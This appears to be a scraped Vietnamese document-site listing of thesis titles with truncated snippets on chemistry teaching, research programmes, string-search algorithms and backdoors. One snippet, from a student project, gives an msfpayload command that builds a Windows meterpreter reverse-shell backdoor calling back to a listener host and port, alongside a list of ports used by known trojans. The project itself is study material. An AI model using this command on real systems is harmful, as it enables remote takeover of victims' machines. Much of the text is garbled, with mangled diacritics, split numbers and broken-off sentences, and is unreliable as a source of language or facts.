1 9 kết quả điều tra pcht của hs ở một số trường thpt
Vận dụng một số phương pháp dạy học tích cực theo quan điểm dạy học phân hóa trong dạy học phần hoá học phi kim ở trường Trung học phổ thông
... kiểu nghe+ vận động Số HS 224 422 14 3 % HS 17 ,23 32,46 11 ,00 14 9 23 12 4 11 ,46 1, 77 9, 54 % HS 60, 69 22,77 41 HS học theo 03 PCHT 215 16 ,64 16 ,54 Hình 1. 10 Biểu đồ PCHT HS trường TNSP Dựa vào bảng ... lục số Kết điều tra PCHT từ 13 00 HS 30 lớp thuộc 12 trường THPT miền sau: Bảng 1. 9 Kết điều tra PCHT HS số trường THPT Các loại PCHT HS HS học theo 01 PCHT HS học theo 02 PCHT PCHT kiểu nhìn kiểu ... tỉ lệ PCHT HS sau: Hình 1. 11 Biểu đồ tỉ lệ PCHT HS trường TNSP – Qua số liệu điều tra thấy phần lớn HS (60, 69% HS) có PCHT định, nhiên có HS có PCHT trộn lẫn Trong số HS điều tra số HS có PCHT...
- 86
- 1,060
- 6
mục tiêu và nội dung các chương trình nghiên cứu khoa học và công nghệ năm 2014
... pháp công nghệ quản lý nhằm bước đầu giảm thiểu ảnh hưởng tiêu cực thích ứng với biến đổi khí hậu * Nội dung: (1) Quản lý môi trường: Nghiên cứu đề xuất hệ thống sách quản lý môi trường phù hợp; ... lên 10 -15 %, giảm giá thành sản phẩm 5 -15 %, giảm bệnh tật giảm thiểu ô nhiễm môi trường; Hình thành 1- 2 chuỗi sản xuất: heo an toàn rau an toàn; Tạo 1- 2 giống cá cảnh đáp ứng nhu cầu thị trường; ... hành lĩnh vực quản lý môi trường; xây dựng hệ thống tổ chức quản lý môi trường phù hợp với điều kiện cụ thể TP Hồ Chí Minh; Nghiên cứu đề xuất chế, sách nhằm đẩy mạnh dịch vụ môi trường TP Hồ...
- 36
- 600
- 0
MỤC TIÊU VÀ NỘI DUNG CÁC CHƯƠNG TRÌNH NGHIÊN CỨU KHOA HỌC VÀ CÔNG NGHỆ NĂM 2015
... nghệ theo Nghị số 08/NQ-TW ngày 01 tháng 12 năm 2 011 Bộ Chính trị tăng cường lãnh đạo Đảng, tạo bước phát triển mạnh mẽ TDTT đến năm 2020; Nghị số 16 /NQ-CP ngày 14 tháng 01 năm 2 013 Chính phủ việc ... thiểu ô nhiễm, bảo vệ môi trường TP Hồ Chí Minh; Xây dựng sở liệu, nghiên cứu giải pháp công nghệ quản lý có hiệu sở khoa học thực tiễn nhằm đáp ứng yêu cầu bảo vệ môi trường sử dụng hợp lý tài ... đẩy mạnh dịch vụ môi trường TP Hồ Chí Minh; Nghiên cứu giải pháp tăng cường chế phối hợp mang tính chất liên ngành, liên vùng quản lý môi trường (quản lý tài nguyên nước, quản lý chất thải rắn);...
- 20
- 365
- 0
báo cáo nghiên cứu khoa học ''''một số nhận xét về nội dung chương trình phân môn tập đọc lớp 2, lớp 3 và phương pháp dạy học phù hợ''''
... XXXVI, số 2b-2007 đợc xếp nh sau: Tuần 1: Một truyện kể (2 tiết) Một văn thông thờng (1 tiết) Một văn thơ (1 tiết) Tuần 2: Một truyện kể (2 tiết) Một văn miêu tả (1 tiết) Một truyện vui (1 tiết) ... đọc đơn vị học đợc xếp nh sau: Tuần 1: Một truyện kể 1, 5 tiết Một văn thơ = tiết Một văn thông thơng = tiết Tuần 2: Một truyện kể 1, 5 tiết Một văn thơ = tiết Một văn miêu tả = tiết 2.3 Nhận xét ... phối kết hợp tốt phơng pháp, biện pháp dạy học tích cực T i liệu tham khảo [1] Đỗ Hữu Châu, Ngữ dụng học, NXB Giáo dục, 20 01 [2] Đỗ Thị Kim Liên, Ngữ nghĩa lời hội thoại, NXB Giáo dục, 19 99 [3]...
- 12
- 1,439
- 2
Tuyển chọn, xây dựng và sử dụng hệ thống bài tập phân hóa phần Hóa học phi kim 11 – chương trình nâng cao THPT
... PHI KIM LP 11 NNG CAO - THPT 2 .1 Mc tiờu v cu trỳc chng trỡnh húa hc phi kim lp 11 nõng cao - THPT 2 .1. 1 Mc tiờu chng trỡnh hoỏ hc phn phi kim lp 11 nõng cao [25] Phn phi kim lp 11 nõng cao c ... tr ca m l A 1, 12 gam B 11 ,2 gam C 0,56 gam D 5,6 gam Bi 14 : Cho 1, 6g Cu tỏc dng ht vi dung dch HNO c, d thu c V lớt khớ X mu nõu V l A 13 ,44 lớt B 6,72 lớt C 1, 12 lớt D 3,36 lớt Bi 15 : Cho dung ... hnh Tng Nhúm nit 10 13 Nhúm cacbon C th gm cỏc bi hc sau: Chng 2: Nhúm Nit Bài 9: Khái quát nhóm nitơ Bài 10 : Nitơ Bài 11 : Amoniac muối amoni Bài 12 : Axit nitric muối nitrat Bài 13 : Luyện tập Tính...
- 150
- 317
- 0
Một số thuật toán tìm chuỗi và xây dựng chương trình minh họa thuật toán boyer moore
... mảng dạng bảng 31 2.3.5 V dụ ụ t ể v i trò ủ m L st tron t uật to n Bo er-Moore T a b a c a a b a d c a I b a c a b a a b b 10 11 12 13 14 15 16 17 18 19 P a b a c a b 13 12 11 10 a a b a c a ... a a P: b a a a a a 12 11 10 b a a a a a a a a 18 17 16 15 14 13 b a a a a a 24 23 22 21 20 19 b a a a a a Hình 2.7 Tìm kiếm chuỗi trƣờng hợp xấu 2.4.T uật to n so k ớp 2.4 .1 P uỗi FRANEK – JENNINGS ... 1. 1.2 Hƣớng giải 1. 2 So khớp chuỗi 1. 2 .1 Khái niệm 1. 2 .1. 1 Chuỗi 1. 2 .1. 2.So khớp chuỗi 1. 2.2 Lịch sử phát triển 1. 2.3 Các...
- 54
- 935
- 1
Khoá luận tốt nghiệp một số thuật toán tìm chuỗi và xây dựng chương trình minh họa thuật toán boyer moore
... 1. 2.25 1. 2.20 1. 2.22 1. 2.24 1. 2.26 q 1. 2.28 1. 2.30 1. 2.34 1. 2.32 1. 2.27 1. 2. 29 1. 2. 31 1.2.33 p a b a b a 0 c a 1 1.2.35 1. 2.37 1. 2. 39 1. 2. 41 1.2.36 1. 2.38 1. 2.40 1. 2.42 1. 3 .17 4 1. 3 .17 5 n Với chuỗi ... có số i j Một chuỗi tiền tố chuỗi s 1. 3.32 chuỗi S[0 i] Một chuỗi hậu tố chuỗi s chuỗi S[i m -1] , i số m -1 1.3.33.Ví dụ: 1. 2 .1 s 1. 2.2 V 1. 2.3 I 1. 2.4 E 1. 2.5 T 1. 2.6 N 1. 2.7 A 1. 2.8 M 1. 2 .9 i 1. 2 .10 ... 1. 2 .9 i 1. 2 .10 1. 2 .11 1. 2 .12 1. 2 .13 1. 2 .14 1. 2 .15 1. 2 .16 1. 3.34 1. 3.35 + Chuỗi S [1 3] = “IET” 1. 3.36 + Tất chuỗi tiền tố s là:“VIETNAM”,“VIETNA”, “VIETN”, “VIET”, “VIE”, “VI”, “V” 1. 3.37 + Tất...
- 36
- 655
- 4
Tuyển chọn, xây dựng và sử dụng hệ thống bài tậpnhằm phát triển năng lực tự học cho học sinh phổ thông dân tộc nội trú tỉnh Điện Biên (phần Hóa học Phi kim Hóa học 11
... phiếu điều tra cho 320 HS lớp 11 trường nói với nội dung điều tra tình hình tự học HS (theo phiếu điều tra phần phụ lục 2) - Tiến hành điều tra 1. 6.4 Kết điều tra 1. 6.4 .1 Sử dụng hệ thống BT phát ... phiếu điều tra (trong phần phụ lục) - Phương pháp điều tra: Phát phiếu điều tra cho 13 GV dạy hóa học trường nói với nội dung điều tra (theo phiếu điều tra phần phụ lục 1) Phát phiếu điều tra cho ... có hiệu 38 1. 6.4.2 Đánh giá kết điều tra Đánh giá kết điều tra GV Từ kết điều tra có nhận xét sau: - Về nhận thức, GV xác định việc phát triển NLTH cho HS cần thiết, gia đình, nhà trường, xã...
- 118
- 1,132
- 0
Tìm hiểu và xây dựng chương trình minh họa hoạt động của Backdoor Đề tài nghiên cứu khoa học
... Bước 1: Sử dùng lệnh ifconfig kiểm tra IP máy Backtrack Ở IP máy acktrack 19 2 .16 8 .1. 2 Hình 3 .1: Kiểm tra IP - Bước 2: Tạo Backdoor msfpayload windows/meterpreter/reverse_tcp LHOST = 19 2 .16 8 .1. 1 LPORT=4444 ... Port 313 37 313 38 - Deep Throat – Sử dụng UDP protocol – Sử dụng Port 214 0 315 0 - NetBus – Sử dụng TCP Protocol – Sử dụng Port 12 345 12 346 - Whack-a-mole – Sử dụng TCP – Qua Port 12 3 61 12362 - ... Hình 3 .1 Kiểm tra IP Hình 3.2 Tạo Backdoor Hình 3.3 Màn hình console exploit Hình 3.4 Thao tác mở cổng, chờ kết nối Hình 3.5 File máy nạn nhân 10 Hình 3.6 Kết nói thiết lập 10 Hình 3.7 Kết thực...
- 14
- 899
- 2
Tìm thêm: xác định các mục tiêu của chương trình xác định các nguyên tắc biên soạn khảo sát các chuẩn giảng dạy tiếng nhật từ góc độ lí thuyết và thực tiễn khảo sát chương trình đào tạo của các đơn vị đào tạo tại nhật bản khảo sát chương trình đào tạo gắn với các giáo trình cụ thể xác định thời lượng học về mặt lí thuyết và thực tế tiến hành xây dựng chương trình đào tạo dành cho đối tượng không chuyên ngữ tại việt nam điều tra với đối tượng sinh viên học tiếng nhật không chuyên ngữ1 khảo sát thực tế giảng dạy tiếng nhật không chuyên ngữ tại việt nam khảo sát các chương trình đào tạo theo những bộ giáo trình tiêu biểu nội dung cụ thể cho từng kĩ năng ở từng cấp độ mở máy động cơ lồng sóc hệ số công suất cosp fi p2 đặc tuyến tốc độ rôto n fi p2 đặc tuyến dòng điện stato i1 fi p2 động cơ điện không đồng bộ một pha sự cần thiết phải đầu tư xây dựng nhà máy thông tin liên lạc và các dịch vụ phần 3 giới thiệu nguyên liệu từ bảng 3 1 ta thấy ngoài hai thành phần chủ yếu và chiếm tỷ lệ cao nhất là tinh bột và cacbonhydrat trong hạt gạo tẻ còn chứa đường cellulose hemicellulose